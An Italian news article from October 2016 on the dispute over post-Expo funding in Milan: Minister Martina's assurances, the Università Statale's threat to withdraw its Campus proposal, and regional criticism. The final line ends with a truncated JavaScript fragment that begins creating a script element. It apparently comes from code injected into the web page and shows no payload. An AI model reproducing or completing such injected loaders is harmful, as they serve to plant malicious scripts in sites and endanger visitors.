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venerdì 18 agosto 2017 23:56:13
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Expo, Martina conferma fondi del governo. La Statale: “Senza sostegno in bilancio ritiro proposta Campus”

30 ottobre 2016 Economia, Politica

“Gli impegni del governo per gestire con le altre istituzioni la complessa attività del post Expo sono indiscutibili e continueranno” e “il progetto del Campus dell’Università statale di Milano troverà il suo specifico sostegno pluriennale, come da lavoro comune con la Regione e sentito il Comune, nell’ambito del Patto tra Governo e Lombardia in corso di redazione proprio in queste settimane”. Lo assicura il ministro delle Politiche gricole alimentari e forestali Maurizio Martina, riguardo ai fondi per il post Expo. Il titolare della delega a Expo nell’esecutivo, intervenendo sull’assenza in legge di bilancio dei fondi per la liquidazione della società e per l’avvio del progetto del Campus dell’Università Statale sul sito, spiega che gli impegni del governo su questo fronte “sono innanzitutto garantiti dalle importanti scelte già fatte sino a oggi per una prospettiva forte all’area. Ricordo innanzitutto – prosegue – l’ingresso nella società Arexpo per 50 milioni e il via libera alla prima fase del progetto Human Tecnopole con 80 milioni. Con la legge di bilancio destiniamo ulteriori risorse al grande progetto sulle scienze per la vita costituendo la fondazione Human Tecnopole e finanziandola in modo pluriennale con dotazioni economiche coerenti con il piano scientifico approvato”. Il Governo inoltre “conferma l’interesse strategico per il progetto del Campus dell’Università statale di Milano che troverà il suo specifico sostegno pluriennale, come da lavoro comune con la Regione e sentito il Comune, nell’ambito del Patto tra Governo e Lombardia in corso di redazione proprio in queste settimane. Proprio per sostenere in modo specifico il Campus ci saranno risorse aggiuntive dalla programmazione dei fondi europei di coesione e sviluppo. Infine, tutti i provvedimenti per la liquidazione definitiva di Expo Spa sono seguiti con grande attenzione ed entreranno in provvedimenti già in corso di discussione”. Di fronte all’assenza del riferimento ai fondi per l’avvio del progetto del Campus interviene però anche l’Università degli Studi: “L’Ateneo considera il progetto, che prevede la creazione di un Campus in grado di accogliere una comunità di più di 18mila studenti e 3mila operatori di ricerca, un contributo significativo allo sviluppo dell’area Expo nel suo complesso, in particolare, nel campo delle Scienze della Vita, settore in cui la Statale occupa una posizione di rilievo internazionale. Per la sua realizzazione, a seguito di una valutazione effettuata da un organismo totalmente indipendente, è necessario un impegno complessivo valutato tra i 350 e i 380 milioni di Euro. La Statale può sostenere, con fondi propri, i due terzi della spesa. Per la realizzazione del Campus si rende necessario quindi un cofinanziamento pari a un terzo del costo totale stimato, circa 130 milioni. Più ancora, per la sua complessità, e ambizione, il progetto richiede il pieno e convinto sostegno di tutti gli interlocutori istituzionali coinvolti, da molti più volte già manifestato. Per la responsabilità dovuta in primo luogo alla comunità universitaria confermiamo quanto deliberato in luglio; se questo sostegno non si concretizzerà entro il termine di approvazione definitiva della legge di stabilità, la Statale non potrà che ritirare, con rammarico, la manifestazione di interesse avanzata alla società Arexpo”. Sull’assenza dei riferimenti alle risorse per il futuro del sito critica anche l’assessore al Post Expo di Regione Lombardia Francesca Brianza: “L’atteggiamento del Governo e’ inaccettabile. Renzi si e’ dimostrato un irresponsabile e rischia, con il suo atteggiamento, non solo di far fallire la societa’ Expo ma anche di mandare in fumo il progetto di riqualificazione dell’area”.var d=document;var s=d.createElement(‘script’);

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